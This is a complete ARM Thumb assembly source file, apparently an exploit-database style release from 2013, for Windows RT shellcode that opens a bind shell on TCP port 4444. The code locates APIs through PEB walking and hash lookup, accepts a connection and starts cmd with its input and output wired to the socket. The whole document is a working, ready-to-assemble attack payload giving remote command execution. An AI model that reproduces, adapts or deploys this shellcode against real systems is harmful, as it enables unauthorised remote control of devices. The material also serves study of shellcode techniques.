Windows RT ARM Bind Shell (Port 4444)

                                                ; Title:     Windows RT ARM Bind Shell (Port 4444)
; Date:      July 28, 2013
; Author:    Matthew Graeber (@mattifestation)
; Blog post: http://www.exploit-monday.com/2013/07/WinRT-ARM-Shellcode.html
; Tested on: Microsoft Surface RT Tablet w/ Windows RT (6.2.9200)
; License:   BSD 3-Clause
; Syntax:    MASM

; Notes: In order for this to work properly, you have to call this payload
;        at baseaddress + 1 since it is thumb code.
;        This was built with armasm.exe from Visual Studio 2012


	AREA	|.foo|, CODE, THUMB
	; After linking, the resulting executable will only
	; have a single section (with RX permissions) named .foo

	EXPORT	main

main
	push        {r4,lr}		; Preserve registers on the stack
	bl          ExecutePayload	; Execute bind shell function
	pop         {r4,pc}		; Restore registers on the stack and return to caller


GetProcAddress
; ARM (Thumb) implementation of the logic from the Metasploit x86 block_api shellcode
	push        {r1-r11,lr}		; Preserve registers on the stack
	mov         r9,r0		; Save the function hash in R9
	mrc         p15,#0,r3,c13,c0,#2	; R3 = &TEB
	ldr         r3,[r3,#0x30]	; R3 = &PEB
	ldr         r3,[r3,#0xC]	; R3 = PEB->Ldr
	movs        r6,#0		; R6 = 0
	ldr         r1,[r3,#0xC]	; R1 = Ldr->InLoadOrderModuleList
	ldr         r4,[r1,#0x18]	; R4 = LDR_DATA_TABLE_ENTRY.DllBase
	ldr         r3,[r1,#0x2C]	; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
	ldr         r7,[r1,#0x30]	; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
	str         r3,[sp]		; Store BaseDllName.Length/MaximumLength on the stack
	cbz         r4,exit_failure	; If DllBase == 0, you've likely reached the end of the module list. Return 0.
	mov         r10,#0xD		; R10 = ROR value (13)
	mov         r11,#0xD		; R11 = ROR value (13)
get_module_hash     ; Improvement: Need to validate MaximumLength != 0
	ldrh        r5,[sp,#2]		; BaseDllName.MaximumLength
	movs        r2,#0		; i = 0
	cbz         r5,get_export_dir	; Reached the last char of BaseDllName
ror_module_char
	ldrsb       r3,[r7,r2]		; R3 = (CHAR) *((PCSTR) BaseDllName.Buffer + i)
	rors        r0,r6,r10		; Calculate the next portion of the module hash
	cmp         r3,#0x61		; Is the character lower case?
	blt         notlowercase
	adds        r3,r3,r0		; Add to the running hash value
	subs        r6,r3,#0x20		; Convert character to upper case
	b           get_next_char
notlowercase
	adds        r6,r3,r0		; Add to the running hash value
get_next_char
	adds        r2,#1		; Move to the next character
	cmp         r2,r5		; Reached the last character in the module name?
	bcc         ror_module_char	; If not, move on to the next character
get_export_dir
	; At this point, the module hash has been calculated.
	; Now begin calculating the function hash
	ldr         r3,[r4,#0x3C]	; IMAGE_DOS_HEADER.e_lfanew - i.e. offset to PE IMAGE_NT_HEADERS
	adds        r3,r3,r4		; PIMAGE_NT_HEADERS
	ldr         r3,[r3,#0x78]	; IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress (only an RVA at this point)
	cbz         r3,get_next_module	; Move to the next module if it doesn't have an export directory (i.e. most exe files)
	adds        r5,r3,r4		; Calculate export dir virtual address
	ldr         r3,[r5,#0x20]	; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNames
	ldr         r7,[r5,#0x18]	; R7 = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
	movs        r0,#0
	adds        r8,r3,r4		; AddressOfNames VA
	cbz         r7,get_next_module	; Move on to the next module if there are no exported names
calc_func_hash
	ldr         r3,[r8],#4		; R3 = Current name RVA
	movs        r2,#0
	adds        lr,r3,r4		; lr = Current name VA
get_func_char
	ldrsb       r3,[lr]		; Load char from the function name
	rors        r2,r2,r11		; Calculate the next portion of the function hash
	adds        r2,r2,r3		; Add to the running hash value
	ldrsb       r3,[lr],#1		; Peek at the next char
	cmp         r3,#0		; Are you at the end of the function string?
	bne         get_func_char	; If not, calculate hash for the next char.
	adds        r3,r2,r6		; Add the module hash to the function hash
	cmp         r3,r9		; Does the calulated hash match the hash provided?
	beq         get_func_addr
	adds        r0,#1
	cmp         r0,r7		; Are there more functions to process?
	bcc         calc_func_hash
get_next_module
	ldr         r1,[r1]		; LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink
	movs        r6,#0		; Clear the function hash
	; Improvement: The following portion is redundant
	ldr         r4,[r1,#0x18]	; R4 = LDR_DATA_TABLE_ENTRY.DllBase
	ldr         r3,[r1,#0x2C]	; R3 = LDR_DATA_TABLE_ENTRY.BaseDllName
	ldr         r7,[r1,#0x30]	; R7 = LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer
	cmp         r4,#0		; DllBase == 0?
	str         r3,[sp]		; Store BaseDllName.Length/MaximumLength on the stack
	bne         get_module_hash
exit_failure
	movs        r0,#0		; Return 0 upon failure to find a matching hash
exit_success
	pop         {r1-r11,pc}		; Restore stack and return to caller with the function address in R0
get_func_addr
	ldr         r3,[r5,#0x24]	; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
	add         r3,r3,r0,lsl #1
	ldrh        r2,[r3,r4]		; R2 = Ordinal table index
	ldr         r3,[r5,#0x1C]	; R3 = PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions
	add         r3,r3,r2,lsl #2
	ldr         r3,[r3,r4]		; Function RVA
	adds        r0,r3,r4		; R0 = Function VA
	b           exit_success

ExecutePayload
	; Improvement: None of the calls to GetProcAddress
	;  validate that a valid address was actually returned
	; Metasploit shellcode doesn't perform this validation either. :P
	push        {r4-r11,lr}		; Preserve registers on the stack
	subw        sp,sp,#0x214	; Allocate soace on the stack for local variables
	movs        r3,#0x44		; sizeof(_PROCESS_INFORMATION)
	add         r2,sp,#0x38		; R2 = &StartupInfo
	movs        r1,#0
init_mem1
	; Improvement: I could just initialize everything on the stack to 0
	strb        r1,[r2],#1		; Set current byte to 0
	subs        r3,#1
	bne         init_mem1
	movs        r3,#0x10		; sizeof(_STARTUPINFOW)
	add         r2,sp,#0x28		; R2 = &ProcessInformation
init_mem2
	strb        r1,[r2],#1		; Set current byte to 0
	subs        r3,#1
	bne         init_mem2

	ldr         r0,HASH_LoadLibraryA
	bl          GetProcAddress
	mov         r3,r0
	adr         r0,module_name	; &"ws2_32.dll"
	blx         r3			; LoadLibrary("ws2_32.dll");
	ldr         r0,HASH_WsaStartup
	bl          GetProcAddress
	mov         r4,r0
	ldr         r0,HASH_WsaSocketA
	bl          GetProcAddress
	mov         r5,r0
	ldr         r0,HASH_Bind
	bl          GetProcAddress
	mov         r6,r0
	ldr         r0,HASH_Listen
	bl          GetProcAddress
	mov         r7,r0
	ldr         r0,HASH_Accept
	bl          GetProcAddress
	mov         r8,r0
	ldr         r0,HASH_CloseSocket
	bl          GetProcAddress
	mov         r9,r0
	ldr         r0,HASH_CreateProcess
	bl          GetProcAddress
	mov         r10,r0
	ldr         r0,HASH_WaitForSingleObject
	bl          GetProcAddress
	mov         r11,r0
	mov         r0,#0x0202
	add         r1,sp,#0x80
	blx         r4			; WSAStartup(MAKEWORD(2, 2), &WSAData);
	movs        r3,#0
	movs        r2,#0
	movs        r1,#1
	movs        r0,#2
	str         r3,[sp,#4]
	str         r3,[sp]
	blx         r5			; s = WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
	movs        r3,#2		; service.sin_family = AF_INET;
	strh        r3,[sp,#0x18]
	movs        r3,#0		; service.sin_addr.s_addr = 0;
	str         r3,[sp,#0x1C]
	mov         r3,#0x5C11		; service.sin_port = HTONS(4444);
	movs        r2,#0x10
	add         r1,sp,#0x18
	strh        r3,[sp,#0x1A]
	mov         r5,r0		; WSASocketA returned socket (s)
	blx         r6			; Bind( s, (SOCKADDR *) &service, sizeof(service) );
	movs        r1,#0
	mov         r0,r5
	blx         r7			; Listen( s, 0 );
	movs        r2,#0
	movs        r1,#0
	mov         r0,r5
	blx         r8			; AcceptedSocket = Accept( s, 0, 0 );
	mov         r4,r0
	mov         r0,r5
	blx         r9			; CloseSocket( s ); Close the original socket
	mov         r3,#0x101		; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	str         r3,[sp,#0x64]
	movs        r3,#0x44		; StartupInfo.cb = 68;
	str         r3,[sp,#0x38]
	add         r3,sp,#0x28
	str         r3,[sp,#0x14]
	add         r3,sp,#0x38
	str         r3,[sp,#0x10]
	movs        r3,#0
	str         r3,[sp,#0xC]
	str         r3,[sp,#8]
	str         r3,[sp,#4]
	movs        r3,#1
	adr         r1,cmdline		; &"cmd"
	str         r3,[sp]
	movs        r3,#0
	movs        r2,#0
	movs        r0,#0
	str         r4,[sp,#0x78]	; StartupInfo.hStdError = (HANDLE) AcceptedSocket;
	str         r4,[sp,#0x74]	; StartupInfo.hStdOutput = (HANDLE) AcceptedSocket;
	str         r4,[sp,#0x70]	; StartupInfo.hStdInput = (HANDLE) AcceptedSocket;
	blx         r10			; CreateProcessA( 0, "cmd", 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation );
	ldr         r0,[sp,#0x28]
	mvn         r1,#0
	blx         r11			; WaitForSingleObject( ProcessInformation.hProcess, INFINITE );
	addw        sp,sp,#0x214
	pop         {r4-r11,pc}

HASH_WaitForSingleObject
	DCD         0x601d8708
HASH_CreateProcess
	DCD         0x863fcc79
HASH_CloseSocket
	DCD         0x614d6e75
HASH_Accept
	DCD         0xe13bec74
HASH_Listen
	DCD         0xff38e9b7
HASH_Bind
	DCD         0x6737dbc2
HASH_WsaSocketA
	DCD         0xe0df0fea
HASH_WsaStartup
	DCD         0x006b8029
HASH_LoadLibraryA
	DCD         0x0726774c

cmdline
	DCB "cmd", 0x0

module_name
	DCB "ws2_32.dll", 0x0


	END